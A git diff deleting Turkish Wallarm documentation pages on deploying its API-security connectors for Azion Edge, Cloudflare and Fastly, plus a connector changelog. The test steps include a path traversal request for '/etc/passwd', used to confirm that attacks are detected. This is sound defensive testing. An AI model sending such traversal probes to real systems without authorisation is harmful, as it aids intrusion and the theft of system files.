Edge ile nasıl entegre edeceğinize ilişkin talimatlar sağlar. - -Çözüm, Wallarm node’unun harici olarak dağıtılmasını ve belirli platforma özel kod veya politikaların enjekte edilmesini içerir. Bu sayede trafik, potansiyel tehditlere karşı analiz ve koruma için harici Wallarm node’una yönlendirilebilir. Wallarm’ın bağlayıcıları (connectors) olarak adlandırılan bu bileşenler, Azion Edge, Akamai Edge, MuleSoft, Apigee ve AWS Lambda gibi platformlar ile harici Wallarm node’u arasında temel bağlantıyı sağlar. Bu yaklaşım kesintisiz entegrasyon, güvenli trafik analizi, risk azaltma ve genel platform güvenliği sağlar. - -## Kullanım senaryoları - -Bu çözüm aşağıdaki kullanım senaryoları için önerilir: - -* Azion Edge üzerinde çalışan API’lerin veya trafiğin güvenliğini sağlamak. -* Kapsamlı saldırı gözlemi, raporlama ve kötü amaçlı isteklerin anında engellenmesini sunan bir güvenlik çözümüne ihtiyaç duyulması. - -## Sınırlamalar - -Çözümün yalnızca gelen isteklerle çalışması nedeniyle bazı sınırlamaları vardır: - -* [Pasif tespit](../../about-wallarm/detecting-vulnerabilities.md#passive-detection) yöntemiyle zafiyet keşfi düzgün çalışmaz. Çözüm, test ettiği zafiyetlere tipik kötü amaçlı isteklere verilen sunucu yanıtlarına dayanarak bir API’nin savunmasız olup olmadığını belirler. -* [Wallarm API Discovery](../../api-discovery/overview.md), çözüm yanıt analizine dayandığı için trafiğinize göre API envanterini keşfedemez. -* Yanıt kodu analizine ihtiyaç duyduğundan [zorla gezinmeye karşı koruma](../../admin-en/configuration-guides/protecting-against-bruteforce.md) mevcut değildir. - -## Gereksinimler - -Dağıtıma devam etmek için aşağıdaki gereksinimleri karşıladığınızdan emin olun: - -* Azion Edge teknolojilerine hakimiyet -* Azion Edge üzerinde çalışan API’ler veya trafik. - -## Dağıtım - -Azion Edge üzerindeki API’leri Wallarm ile güvenceye almak için şu adımları izleyin: - -1. Kullanılabilir dağıtım seçeneklerinden birini kullanarak bir Wallarm node dağıtın. -1. Edge Functions için Wallarm kodunu edinin ve Azion üzerinde çalıştırın. - - -### 1. Bir Wallarm node dağıtın - -Azion Edge üzerinde Wallarm kullanırken, trafik akışı [in-line](../inline/overview.md) olur. - -1. Hat içi dağıtım için [desteklenen Wallarm node dağıtım çözümlerinden veya yapıtlarından](../supported-deployment-options.md#in-line) birini seçin ve sağlanan dağıtım talimatlarını izleyin. -1. Dağıtılan node’u aşağıdaki şablona göre yapılandırın: - - ``` - server { - listen 80; - - server_name _; - - access_log off; - wallarm_mode off; - - location / { - proxy_set_header Host $http_x_forwarded_host; - proxy_pass http://unix:/tmp/wallarm-nginx.sock; - } - } - - server { - listen 443 ssl; - - server_name yourdomain-for-wallarm-node.tld; - - ### SSL yapılandırması burada - - access_log off; - wallarm_mode off; - - location / { - proxy_set_header Host $http_x_forwarded_host; - proxy_pass http://unix:/tmp/wallarm-nginx.sock; - } - } - - - server { - listen unix:/tmp/wallarm-nginx.sock; - - server_name _; - - wallarm_mode monitoring; - #wallarm_mode block; - - real_ip_header X-EDGEWRK-REAL-IP; - set_real_ip_from unix:; - - location / { - echo_read_request_body; - } - } - ``` - - Lütfen aşağıdaki yapılandırmalara dikkat edin: - - * HTTPS trafiği için TLS/SSL sertifikaları: Wallarm node’unun güvenli HTTPS trafiğini işleyebilmesi için TLS/SSL sertifikalarını uygun şekilde yapılandırın. Belirli yapılandırma seçilen dağıtım yöntemine bağlı olacaktır. Örneğin NGINX kullanıyorsanız, yol gösterici olması için [ilgili makalesine](https://docs.nginx.com/nginx/admin-guide/security-controls/terminating-ssl-http/) bakabilirsiniz. - * [Wallarm çalışma modu](../../admin-en/configure-wallarm-mode.md) yapılandırması. -1. Dağıtım tamamlandığında, gelen istek yönlendirme adresini daha sonra ayarlamak için node örneğinin IP’sini not edin. - -### 2. Edge Functions için Wallarm kodunu edinin ve Azion üzerinde çalıştırın - -Azion Edge Functions için Wallarm kodunu edinmek ve çalıştırmak için şu adımları izleyin: - -1. Wallarm kodunu edinmek için [support@wallarm.com](mailto:support@wallarm.com) ile iletişime geçin. -1. Azion Edge üzerinde, **Billing & Subscriptions** bölümüne gidin ve **Application Acceleration** ile **Edge Functions** aboneliğini etkinleştirin. -1. Yeni bir **Edge Application** oluşturun ve kaydedin. -1. Oluşturulan uygulamayı açın → **Main Settings** ve **Application Acceleration** ile **Edge Functions**’ı etkinleştirin. -1. **Domains** bölümüne gidin ve **Add Domain**’a tıklayın. -1. **Edge Functions**’a gidin, **Add Function**’a tıklayın ve `Edge Firewall` türünü seçin. -1. Wallarm kaynak kodunu yapıştırın ve `wallarm.node.tld` alanını [önceden dağıtılmış Wallarm node’unun](#1-deploy-a-wallarm-node) adresiyle değiştirin. -1. **Edge Firewall** → **Add Rule Set** → **Name** yazın → **Domains** seçin ve **Edge Functions**’ı açın. -1. **Functions** sekmesine geçin, **Add Function**’a tıklayın ve daha önce oluşturulan fonksiyonu seçin. -1. **Rules Engine** sekmesine geçin → **New Rule** ve trafiğin Wallarm tarafından filtrelenmesi için kriterleri ayarlayın: - - * Tüm istekleri analiz etmek ve filtrelemek için `If Request URI starts with /` seçin. - * **Behaviors** içinde `Then Run Function` seçin ve daha önce oluşturulan fonksiyonu seçin. - -## Test - -Dağıtılan politikanın işlevselliğini test etmek için şu adımları izleyin: - -1. API’nize test [Path Traversal][ptrav-attack-docs] saldırısı içeren isteği gönderin: - - ``` - curl http:///etc/passwd - ``` -1. Wallarm Console → **Attacks** bölümünü [US Cloud](https://us1.my.wallarm.com/attacks) veya [EU Cloud](https://my.wallarm.com/attacks) üzerinde açın ve saldırının listede görüntülendiğinden emin olun. - - ![Arayüzde Attacks][attacks-in-ui-image] - - Wallarm node modu engelleme olarak ayarlanmışsa, istek de engellenecektir. - -## Yardıma mı ihtiyacınız var? - -Azion Edge ile birlikte Wallarm’ın bu şekilde dağıtımı sırasında herhangi bir sorunla karşılaşırsanız veya yardıma ihtiyaç duyarsanız, [Wallarm desteği](mailto:support@wallarm.com) ekibiyle iletişime geçebilirsiniz. Uygulama sırasında karşılaşabileceğiniz sorunları çözmenize yardımcı olmak için rehberlik sağlarlar. \ No newline at end of file diff --git a/docs/latest-tr/installation/connectors/cloudflare-for-wizard.md b/docs/latest-tr/installation/connectors/cloudflare-for-wizard.md deleted file mode 100644 index 08ee68296d..0000000000 --- a/docs/latest-tr/installation/connectors/cloudflare-for-wizard.md +++ /dev/null @@ -1,51 +0,0 @@ -# Sihirbaz için Cloudflare - -Wallarm Edge node'u Cloudflare'a bağlayarak trafiği ya [senkron](../inline/overview.md) ya da [asenkron](../oob/overview.md) modda inceleyebilirsiniz - herhangi bir isteği engellemeden. - -Bağlantıyı kurmak için aşağıdaki adımları izleyin. - -1. Platformunuz için sağlanan kod paketini indirin. -1. İndirilen kodu kullanarak [Cloudflare worker oluşturun](https://developers.cloudflare.com/workers/get-started/dashboard/). -1. `wallarm_node` parametresinde Wallarm node URL'sini ayarlayın. -1. [Asenkron (out-of-band)](../oob/overview.md) mod kullanılıyorsa, `wallarm_mode` parametresini `async` olarak ayarlayın. -1. Gerekirse, [diğer parametreleri](cloudflare.md#configuration-options) değiştirin. -1. **Website** → alan adınız bölümünde, **Workers Routes** → **Add route**'a gidin: - - * **Route** içinde, Wallarm'a analiz için yönlendirilecek yolları belirtin (ör. tüm yollar için `*.example.com/*`). - * **Worker** içinde, oluşturduğunuz Wallarm worker'ı seçin. - -[Daha fazla bilgi](cloudflare.md) - - \ No newline at end of file diff --git a/docs/latest-tr/installation/connectors/cloudflare.md b/docs/latest-tr/installation/connectors/cloudflare.md deleted file mode 100644 index 5a5153bf16..0000000000 --- a/docs/latest-tr/installation/connectors/cloudflare.md +++ /dev/null @@ -1,132 +0,0 @@ -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[filtration-mode-docs]: ../../admin-en/configure-wallarm-mode.md -[se-connector-setup-img]: ../../images/waf-installation/se-connector-setup.png -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[api-token]: ../../user-guides/settings/api-tokens.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md -[helm-chart-native-node]: ../native-node/helm-chart.md -[custom-blocking-page]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[rate-limiting]: ../../user-guides/rules/rate-limiting.md -[multi-tenancy]: ../multi-tenant/overview.md - -# Cloudflare için Wallarm Bağlayıcısı - -[Cloudflare](https://www.cloudflare.com/), web sitelerinin ve internet uygulamalarının güvenliğini, hızını ve güvenilirliğini artırmak için tasarlanmış CDN, WAF, DNS hizmetleri ve SSL/TLS şifreleme dahil özellikler sunan bir güvenlik ve performans servisidir. Wallarm, Cloudflare üzerinde çalışan API’leri güvence altına almak için bir bağlayıcı olarak görev yapabilir. - -Wallarm’ı Cloudflare için bir bağlayıcı olarak kullanmak için, **Wallarm Node’u harici olarak dağıtmanız** ve trafiği analiz için Wallarm Node’a yönlendirmek üzere **Wallarm tarafından sağlanan kodu kullanarak bir Cloudflare worker çalıştırmanız** gerekir. - - Cloudflare bağlayıcısı hem [in-line](../inline/overview.md) hem de [out-of-band](../oob/overview.md) trafik akışlarını destekler: - -=== "Satır içi trafik akışı" - - Wallarm kötü amaçlı etkinliği engelleyecek şekilde yapılandırılmışsa: - - ![Wallarm ile Cloudflare - satır içi şema](../../images/waf-installation/gateways/cloudflare/cloudflare-traffic-flow-inline.png) -=== "Bant dışı trafik akışı" - ![Wallarm ile Cloudflare - bant dışı şema](../../images/waf-installation/gateways/cloudflare/cloudflare-traffic-flow-oob.png) - -## Kullanım senaryoları - -Bu çözüm, uygulamalarınıza Cloudflare aracılığıyla erişim sağladığınız durumlarda önerilir. - -## Kısıtlamalar - -* [Helm chart][helm-chart-native-node] kullanarak `LoadBalancer` türünde Wallarm servisini dağıtırken, Node örneği alan adı için **güvenilir** bir SSL/TLS sertifikası gereklidir. Kendi imzaladığınız sertifikalar henüz desteklenmemektedir. -* Wallarm kuralı ile [hız sınırlama][rate-limiting] desteklenmez. -* [Çok kiracılık][multi-tenancy] henüz desteklenmiyor. - -## Gereksinimler - -Dağıtıma devam etmeden önce aşağıdaki gereksinimleri karşıladığınızdan emin olun: - -* Cloudflare teknolojilerine hakimiyet. -* Cloudflare üzerinden akan API’ler veya trafik. - -## Dağıtım - - -### 1. Bir Wallarm Node dağıtın - -Wallarm Node, dağıtmanız gereken Wallarm platformunun çekirdek bileşenidir. Gelen trafiği denetler, kötü amaçlı faaliyetleri tespit eder ve tehditleri azaltacak şekilde yapılandırılabilir. - -Gereksinim duyduğunuz kontrol düzeyine bağlı olarak, Wallarm tarafından barındırılan veya kendi altyapınızda dağıtabilirsiniz. - -=== "Edge node" - Bağlayıcı için Wallarm tarafından barındırılan bir node dağıtmak için [talimatları](../security-edge/se-connector.md) izleyin. -=== "Self-hosted node" - Kendinden barındırılan node dağıtımı için bir artifakt seçin ve ekli talimatları izleyin: - - * Bare metal veya VM’lerde Linux altyapıları için [Hepsi-bir-arada yükleyici](../native-node/all-in-one.md) - * Konteynerleştirilmiş dağıtımlar kullanan ortamlar için [Docker imajı](../native-node/docker-image.md) - * AWS altyapıları için [AWS AMI](../native-node/aws-ami.md) - * Kubernetes kullanan altyapılar için [Helm chart](../native-node/helm-chart.md) - -### 2. Wallarm worker kodunu edinin ve dağıtın - -Trafiği Wallarm Node’a yönlendiren bir Cloudflare worker çalıştırmak için: - -1. Wallarm Console → **Security Edge** → **Connectors** → **Download code bundle** yoluna gidin ve platformunuz için bir kod paketi indirin. - - Kendinden barındırılan node çalıştırıyorsanız, kod paketini almak için sales@wallarm.com ile iletişime geçin. -1. İndirilen kodu kullanarak [Bir Cloudflare worker oluşturun](https://developers.cloudflare.com/workers/get-started/dashboard/). -1. `wallarm_node` parametresinde Wallarm node URL’sini ayarlayın. -1. [Eşzamansız (bant dışı)](../oob/overview.md) mod kullanıyorsanız, `wallarm_mode` parametresini `async` olarak ayarlayın. -1. Gerekirse, [diğer parametreleri](cloudflare.md#configuration-options) değiştirin. - - ![Cloudflare worker](../../images/waf-installation/gateways/cloudflare/worker-deploy.png) -1. **Website** → your domain içinde, **Workers Routes** → **Add route** yoluna gidin: - - * **Route** alanında, Wallarm tarafından analiz edilmek üzere yönlendirilecek yolları belirtin (örn., tüm yollar için `*.example.com/*`). - * **Worker** alanında, oluşturduğunuz Wallarm worker’ı seçin. - - ![Cloudflare rota ekle](../../images/waf-installation/gateways/cloudflare/add-route.png) - -## Test - -Dağıtılan çözümün işlevselliğini test etmek için: - -1. API’nize test [Yol Geçişi][ptrav-attack-docs] saldırısını içeren isteği gönderin: - - ``` - curl http:///etc/passwd - ``` -1. Wallarm Console → **Attacks** bölümünü [US Cloud](https://us1.my.wallarm.com/attacks) veya [EU Cloud](https://my.wallarm.com/attacks) üzerinde açın ve saldırının listede görüntülendiğinden emin olun. - - ![Arayüzde saldırılar][attacks-in-ui-image] - - Wallarm Node modu [blocking](../../admin-en/configure-wallarm-mode.md) olarak ayarlıysa ve trafik satır içi akıyorsa, istek aynı zamanda engellenecektir. - - -## Yapılandırma seçenekleri - -Worker kodunda aşağıdaki parametreleri belirtebilirsiniz: - -| Parametre | Açıklama | Gerekli mi? | -| --------- | ----------- | --------- | -| `wallarm_node` | [Wallarm Node örneğinizin](#1-deploy-a-wallarm-node) adresini ayarlar. | Evet | -| `wallarm_mode` | Trafik işleme modunu belirler: Varsayılan `inline`, trafiği doğrudan Wallarm Node üzerinden işlerken, `async` trafiğin orijinal akışını etkilemeden bir [kopyasını](../oob/overview.md) analiz eder. | Hayır | -| `wallarm_send_rsp_body` | Şema [keşfi](../../api-discovery/overview.md) ve [kaba kuvvet](../../admin-en/configuration-guides/protecting-against-bruteforce.md) gibi gelişmiş saldırı tespiti için yanıt gövdesi analizini etkinleştirir. Varsayılan: `true` (etkin). | Hayır | -| `wallarm_response_body_limit` | Node’un ayrıştırıp analiz edebileceği yanıt gövdesi boyutu (bayt cinsinden) sınırı. Varsayılan: `0x4000`. | Hayır | -| `wallarm_block_page.custom_path`
              (Worker sürüm 1.0.1+) | Node’dan gelen HTTP 403 yanıtlarıyla döndürülen özel engelleme sayfasının URL’si, örn.: `https://example.com/block-page.html`.
              Varsayılan: `null` (`html_page` `true` ise ayrıntılı, Wallarm tarafından sağlanan hata sayfası kullanılır). | Hayır | -| `wallarm_block_page.html_page`
              (Worker sürüm 1.0.1+) | Kötü amaçlı istekler için özel bir HTML engelleme sayfasını etkinleştirir. Varsayılan: `false` (basit bir HTTP 403 döndürür). | Hayır | -| `wallarm_block_page.support_email`
              (Worker sürüm 1.0.1+) | Engelleme sayfasında sorun bildirmek için görüntülenen e-posta. Varsayılan: `support@mycorp.com`. | Evet, `html_page` `true` ise | - -??? info "Wallarm tarafından sağlanan hata sayfasını göster" - HTTP 403 yanıtlarıyla döndürülen, Wallarm tarafından sağlanan hata sayfası aşağıdaki gibidir: - - ![Wallarm engelleme sayfası](../../images/configuration-guides/blocking-page-provided-by-wallarm-36.png) - -## Cloudflare worker’ı yükseltme - -Dağıtılan Cloudflare worker’ınızı [daha yeni bir sürüme](code-bundle-inventory.md#cloudflare) yükseltmek için: - -1. Wallarm Console → **Security Edge** → **Connectors** → **Download code bundle** yoluna gidin ve güncellenmiş Wallarm Cloudflare kod paketini indirin. - - Kendinden barındırılan node çalıştırıyorsanız, güncellenmiş kod paketini almak için sales@wallarm.com ile iletişime geçin. -1. Dağıtılmış Cloudflare worker’ınızdaki kodu güncellenmiş paketle değiştirin. - - `wallarm_node`, `wallarm_mode` ve diğer parametreler için mevcut değerleri koruyun. -1. Güncellenmiş işlevleri **Deploy** edin. - -Worker yükseltmeleri, özellikle ana sürüm güncellemelerinde, bir Wallarm Node yükseltmesi gerektirebilir. Kendi barındırdığınız Node sürüm notları ve yükseltme talimatları için [Native Node değişiklik günlüğüne](../../updating-migrating/native-node/node-artifact-versions.md) veya [Edge node yükseltme prosedürüne](../security-edge/se-connector.md#upgrading-the-edge-node) bakın. Eski sürümlerin kullanım dışı kalmasını önlemek ve gelecekteki yükseltmeleri kolaylaştırmak için düzenli node güncellemeleri önerilir. \ No newline at end of file diff --git a/docs/latest-tr/installation/connectors/code-bundle-inventory.md b/docs/latest-tr/installation/connectors/code-bundle-inventory.md deleted file mode 100644 index cfb984c8f4..0000000000 --- a/docs/latest-tr/installation/connectors/code-bundle-inventory.md +++ /dev/null @@ -1,178 +0,0 @@ -# Bağlayıcı Kod Paketi Değişiklik Günlüğü - -Bu doküman, Native Node (MuleSoft, Cloudflare vb.) ile çalışan bağlayıcı kod paketlerinin sürümlerini listeler. - -## Sürüm biçimi - -Bağlayıcı kod paketi sürümleri şu biçimi izler: - -```bash -.. -``` - -| Öğe | Açıklama | -| ------- | ----------- | -| `` | Önemli güncellemeler, yeni özellikler veya uyumsuz değişiklikler. Bir [Native Node güncellemesi](../../updating-migrating/native-node/node-artifact-versions.md) gerektirir. | -| `` | Uyum bozucu değişiklik olmadan iyileştirmeler veya yeni özellikler. | -| `` | Küçük hata düzeltmeleri veya iyileştirmeler. | - -## MuleSoft Mule Gateway - -[Nasıl yükseltilir](mulesoft.md#upgrading-the-policy) - -Mevcut sürüm, indirilen Wallarm politikasının `pom.xml` dosyasında veya MuleSoft UI içindeki politika bilgilerinde bulunabilir. - -| Politika sürümü | [Native Node sürümü](../../updating-migrating/native-node/node-artifact-versions.md) | -| ------------------- | ------------------- | -| 2.x | 0.8.2 ve daha düşük | -| 3.0.x | 0.8.3 ve daha yüksek | -| 3.2.x | 0.10.1 ve daha yüksek | - -### 3.2.0 (2025-01-31) - -Native Node sürümünün 0.10.1 veya daha yüksek olmasını gerektirir. - -* Kötü amaçlı olup engellenen isteklere verilen yanıt kodu artık MuleSoft Enterprise Edition deposundaki `http-transform` eklentisi kullanılarak 403 olarak ayarlanıyor - - Önceden, yanıtta isteğin engellendiğini belirten bir mesajla birlikte 200 durum kodu döndürülüyordu. Yeni bağlayıcı sürümünü kullanmak için standart `anypoint-exchange-v3` deposuna ek olarak [Maven `settings.xml`](../../installation/connectors/mulesoft.md#2-obtain-and-upload-the-wallarm-policy-to-mulesoft-exchange) içinde `mulesoft-releases-ee` deposuna kimlik doğrulaması artık gereklidir. -* Hata düzeltmesi: istek tanımlayıcılarının benzersizliğinin sağlanması -* Bellek kullanımı optimize edildi - -### 3.0.1 (2024-11-20) - -* `WALLARM NODE MAX RETRIES` ve `WALLARM NODE RETRY INTERVAL` parametreleri eklendi - - Bu parametreler, ağ kesintileri sırasında verileri Wallarm Node'lara gönderirken en fazla yeniden deneme sayısını ve denemeler arasındaki aralığı yapılandırmaya olanak tanır. - -### 3.0.0 (2024-11-14) - -Native Node sürümünün 0.8.3 veya daha yüksek olmasını gerektirir. - -* `CLIENT HOST EXPRESSION` ve `CLIENT IP EXPRESSION` parametreleri eklendi - - Orijinal ana bilgisayarı ve uzak IP'yi çıkarmak için özel [DataWeave](https://docs.mulesoft.com/dataweave/latest/dw-functions) ifadeleri belirtmeye olanak tanırlar; bu da [MuleSoft'un IP Blocklist politikasına](https://docs.mulesoft.com/mule-gateway/policies-included-ip-blocklist) uyumludur. - -### 2.0.3 (2024-11-13) - -* Hata düzeltmeleri - -### 2.0.2 (2024-11-06) - -* Hata düzeltmeleri - -### 2.0.1 (2024-10-10) - -* İlk sürüm - -## MuleSoft Flex Gateway - -[Nasıl yükseltilir](mulesoft-flex.md#upgrading-the-policy) - -Mevcut sürüm, indirilen Wallarm politikasının `Cargo.toml` → `[package]` → `version` parametresinde veya MuleSoft UI içindeki politika bilgilerinde bulunabilir. - -| Politika sürümü | [Native Node sürümü](../../updating-migrating/native-node/node-artifact-versions.md) | -| ------------------- | ------------------- | -| 1.x.x | 0.16.0 ve daha yüksek | - -### 1.1.0 (2025-08-19) - -* Flex PDK 1.4.0 sürümüne yükseltildi -* Büyük yanıtlarda meydana gelen Gateway çökmesi düzeltildi - -### 1.0.0 (2025-07-23) - -* [İlk sürüm](mulesoft-flex.md) - -## Akamai - -[Nasıl yükseltilir](akamai-edgeworkers.md#upgrading-the-wallarm-edgeworkers) - -Mevcut sürüm, indirilen kod paketinin `wallarm-main`/`wallarm-sp` → `bundle.json` → `edgeworker-version` bölümünde bulunabilir. - -| Politika sürümü | [Native Node sürümü](../../updating-migrating/native-node/node-artifact-versions.md) | -| ------------------- | ------------------- | -| 1.x | 0.16.3 ve daha yüksek | - -### 1.0 (2025-08-18) - -* [İlk sürüm](akamai-edgeworkers.md) - -## CloudFront - -[Nasıl yükseltilir](aws-lambda.md#upgrading-the-lambdaedge-functions) - -### 1.0.0 (2024-10-10) - -* İlk sürüm - -## Cloudflare - -[Nasıl yükseltilir](cloudflare.md#upgrading-the-cloudflare-worker) - -### 1.0.1 - -* Kötü amaçlı istekler için özel engelleme sayfaları desteği; [parametreler](cloudflare.md#configuration-options) ile yapılandırılabilir: - - * `wallarm_block_page.custom_path` - * `wallarm_block_page.html_page` - * `wallarm_block_page.support_email` - -### 1.0.0 (2024-10-10) - -* İlk sürüm - -## Kong API Gateway - -[Nasıl yükseltilir](kong-api-gateway.md#upgrading-the-wallarm-lua-plugin) - -### 1.0.0 (2024-09-13) - -* İlk sürüm - - - -## Broadcom Layer7 API Gateway - -[Nasıl yükseltilir](layer7-api-gateway.md#upgrading-the-wallarm-policies) - -### 1.0.0 (2024-11-07) - -* İlk sürüm - -## Fastly - -[Nasıl yükseltilir](fastly.md#upgrading-the-wallarm-compute-service-on-fastly) - -### 1.2.0 (2025-04-03) - -* Alternatif yapılandırmaları kullanma yeteneği eklendi - - Wallarm için birden fazla Compute hizmeti çalıştırıyorsanız, farklı yapılandırmalara sahip [birden fazla config store](../../installation/connectors/fastly.md#4-create-the-wallarm-config-store) oluşturabilir ve her birini karşılık gelen hizmete bağlayabilirsiniz. - -### 1.1.0 (2025-01-06) - -* İsteğe bağlı `LOGGING_ENDPOINT` [parametresi](fastly.md#4-create-the-wallarm-config-store) aracılığıyla yapılandırılabilen [log akışı uç noktaları](https://www.fastly.com/documentation/guides/integrations/logging/) desteği eklendi - -### 1.0.0 (2025-01-02) - -* İlk sürüm - -## IBM API Connect - -[Nasıl yükseltilir](ibm-api-connect.md#upgrading-the-policies) - -Mevcut sürüm, Wallarm politika dosyasındaki → `info.version` alanında bulunabilir. Her iki politika da aynı sürüm numarasını kullanır. - -| Politika sürümü | [Native Node sürümü](../../updating-migrating/native-node/node-artifact-versions.md) | -| ------------------- | ------------------- | -| 1.0.1 | 0.13.x serisinde 0.13.3 veya daha yeni ya da 0.14.1 veya daha yeni | - -### 1.0.1 (2025-05-20) - -* İlk sürüm \ No newline at end of file diff --git a/docs/latest-tr/installation/connectors/fastly-for-wizard.md b/docs/latest-tr/installation/connectors/fastly-for-wizard.md deleted file mode 100644 index 6c0bb9e8c7..0000000000 --- a/docs/latest-tr/installation/connectors/fastly-for-wizard.md +++ /dev/null @@ -1,87 +0,0 @@ -# Sihirbaz için Fastly - -Wallarm Edge node, API'lerinizi çalıştıran Fastly'ye [eşzamanlı](../inline/overview.md) veya [eşzamansız](../oob/overview.md) modda - hiçbir isteği engellemeden - bağlanabilir. - -Bağlantıyı yapılandırmak için aşağıdaki adımları izleyin. - -**Wallarm kodunu Fastly üzerinde dağıtın** - -1. Platformunuz için sağlanan kod paketini indirin. -1. Şuraya gidin: **Fastly** UI → **Account** → **API tokens** → **Personal tokens** → **Create token**: - - * Type: Automation token - * Scope: Global API access - * Özel değişiklikler gerekmiyorsa diğer ayarları varsayılanlarında bırakın -1. Şuraya gidin: **Fastly** UI → **Compute** → **Compute services** → **Create service** → **Use a local project** ve Wallarm için bir örnek oluşturun. -1. Oluşturulduktan sonra, üretilen `--service-id` değerini kopyalayın. -1. Wallarm paketini içeren yerel dizine gidin ve dağıtın: - - ``` - fastly compute deploy --service-id= --package=wallarm-api-security.tar.gz --token= - ``` - - Başarı mesajı: - - ``` - SUCCESS: Deployed package (service service_id, version 1) - ``` - -**Wallarm Node ve arka uç hostlarını belirtin** - -Analiz ve iletim için trafiğin doğru yönlendirilmesi adına, Fastly servis yapılandırmasında Wallarm Node ve arka uç hostlarını tanımlamanız gerekir: - -1. Şuraya gidin: **Fastly** UI → **Compute** → **Compute services** → Wallarm service → **Edit configuration**. -1. Şuraya gidin: **Origins** ve **Create hosts**: - - * Analiz için trafiği Wallarm Node’a yönlendirmek amacıyla Wallarm Node URL’sini `wallarm-node` hostu olarak ekleyin. - * Node'dan origin backend'inize trafiği iletmek için arka uç adresinizi başka bir host olarak ekleyin (örn. `backend`). -1. Yeni servis sürümünü **Activate**. - -**Wallarm yapılandırma deposunu oluşturun** - -Wallarm’a özgü ayarları tanımlayan `wallarm_config` yapılandırmasını oluşturun: - -1. Şuraya gidin: **Fastly** UI → **Resources** → **Config stores** → **Create a config store** ve aşağıdaki anahtar-değer öğeleriyle `wallarm_config` deposunu oluşturun: - - * `WALLARM_BACKEND`: Compute service ayarlarında belirtilen Wallarm Node örneğinin ana makine adı. - * `ORIGIN_BACKEND`: Compute service ayarlarında belirtilen arka uç için ana makine adı. - * `WALLARM_MODE_ASYNC`: Orijinal akışı etkilemeden trafik [kopya](../oob/overview.md) analizini etkinleştirir (`true`) veya satır içi analizi (`false`, varsayılan). - - [Daha fazla parametre](fastly.md#configuration-options) -1. Config store'u Wallarm Compute service ile **Link**. - -[Daha fazla bilgi](fastly.md) - - \ No newline at end of file diff --git a/docs/latest-tr/installation/connectors/fastly.md b/docs/latest-tr/installation/connectors/fastly.md deleted file mode 100644 index 3ac8bbb679..0000000000 --- a/docs/latest-tr/installation/connectors/fastly.md +++ /dev/null @@ -1,415 +0,0 @@ -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[filtration-mode-docs]: ../../admin-en/configure-wallarm-mode.md -[se-connector-setup-img]: ../../images/waf-installation/se-connector-setup.png -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[api-token]: ../../user-guides/settings/api-tokens.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md -[helm-chart-native-node]: ../native-node/helm-chart.md -[custom-blocking-page]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[rate-limiting]: ../../user-guides/rules/rate-limiting.md -[multi-tenancy]: ../multi-tenant/overview.md - -# Fastly için Wallarm Bağlayıcısı - -[Fastly](https://www.fastly.com/), İçerik Dağıtım Ağı (CDN) hizmetleri, gerçek zamanlı uygulama teslimi, önbellekleme ve uçta özel mantık çalıştırmak için Compute@Edge sunan güçlü bir edge bulut platformudur. Wallarm bağlayıcısı ile Fastly üzerinde çalışan API’leri güvenceye alabilirsiniz. - -Wallarm’ı bir Fastly bağlayıcısı olarak kullanmak için, trafiği analiz için Wallarm Node’a yönlendirmek üzere, **Wallarm Node’u harici olarak dağıtmanız** ve **Wallarm tarafından sağlanan ikilileri kullanarak bir Fastly Compute hizmeti çalıştırmanız** gerekir. - -Fastly bağlayıcısı hem [in-line](../inline/overview.md) hem de [out-of-band](../oob/overview.md) trafik akışlarını destekler. - - - -## Kullanım senaryoları - -Bu çözüm, trafiği Fastly üzerinden ilettiğiniz durumlarda önerilir. - -## Sınırlamalar - -* [Helm chart][helm-chart-native-node] kullanarak `LoadBalancer` türünde Wallarm hizmeti dağıtılırken, Node örneği alan adı için **güvenilir** bir SSL/TLS sertifikası gereklidir. Öz imzalı sertifikalar henüz desteklenmemektedir. -* Wallarm kuralı ile [Oran sınırlaması][rate-limiting] desteklenmez. -* [Çok kiracılık][multi-tenancy] henüz desteklenmiyor. - -## Gereksinimler - -Dağıtıma devam etmeden önce aşağıdaki gereksinimleri karşıladığınızdan emin olun: - -* Fastly teknolojilerine hakimiyet. -* Fastly üzerinden akan API’ler veya trafik. -* [Fastly CLI kurulu](https://www.fastly.com/documentation/reference/tools/cli/#installing). - -## Dağıtım - -### 1. Bir Wallarm Node’u dağıtın - -Wallarm Node, dağıtmanız gereken Wallarm platformunun çekirdek bileşenidir. Gelen trafiği inceler, kötü niyetli aktiviteleri tespit eder ve tehditleri azaltacak şekilde yapılandırılabilir. - -Gerektiğiniz kontrol seviyesine bağlı olarak, Wallarm tarafından barındırılmış şekilde veya kendi altyapınızda dağıtabilirsiniz. - -=== "Edge düğümü" - Bağlayıcı için Wallarm tarafından barındırılan bir düğüm dağıtmak üzere [talimatları](../security-edge/se-connector.md) izleyin. -=== "Kendi barındırılan düğüm" - Kendi barındırılan bir düğüm dağıtımı için bir yapıt seçin ve iliştirilmiş talimatları izleyin: - - * Bare metal veya VM’lerdeki Linux altyapıları için [Hepsi bir arada yükleyici](../native-node/all-in-one.md) - * Konteynerleştirilmiş dağıtımlar kullanan ortamlar için [Docker imajı](../native-node/docker-image.md) - * AWS altyapıları için [AWS AMI](../native-node/aws-ami.md) - * Kubernetes kullanan altyapılar için [Helm chart](../native-node/helm-chart.md) - -### 2. Fastly üzerinde Wallarm kodunu dağıtın - -Fastly’den Wallarm Node’a trafiği yönlendirmek için, ilgili Wallarm mantığını içeren bir Fastly Compute hizmeti dağıtmanız gerekir: - -1. Wallarm Console → **Security Edge** → **Connectors** → **Download code bundle** bölümüne gidip Wallarm paketini indirin. - - Kendi barındırdığınız düğümü çalıştırıyorsanız, paketi almak için sales@wallarm.com ile iletişime geçin. -1. **Fastly** UI → **Account** → **API tokens** → **Personal tokens** → **Create token** yoluna gidin: - - * Type: Automation token - * Scope: Global API access - * Özel değişiklikler gerekmiyorsa diğer ayarları varsayılan halinde bırakın - - ![](../../images/waf-installation/gateways/fastly/generate-token.png) -1. **Fastly** UI → **Compute** → **Compute services** → 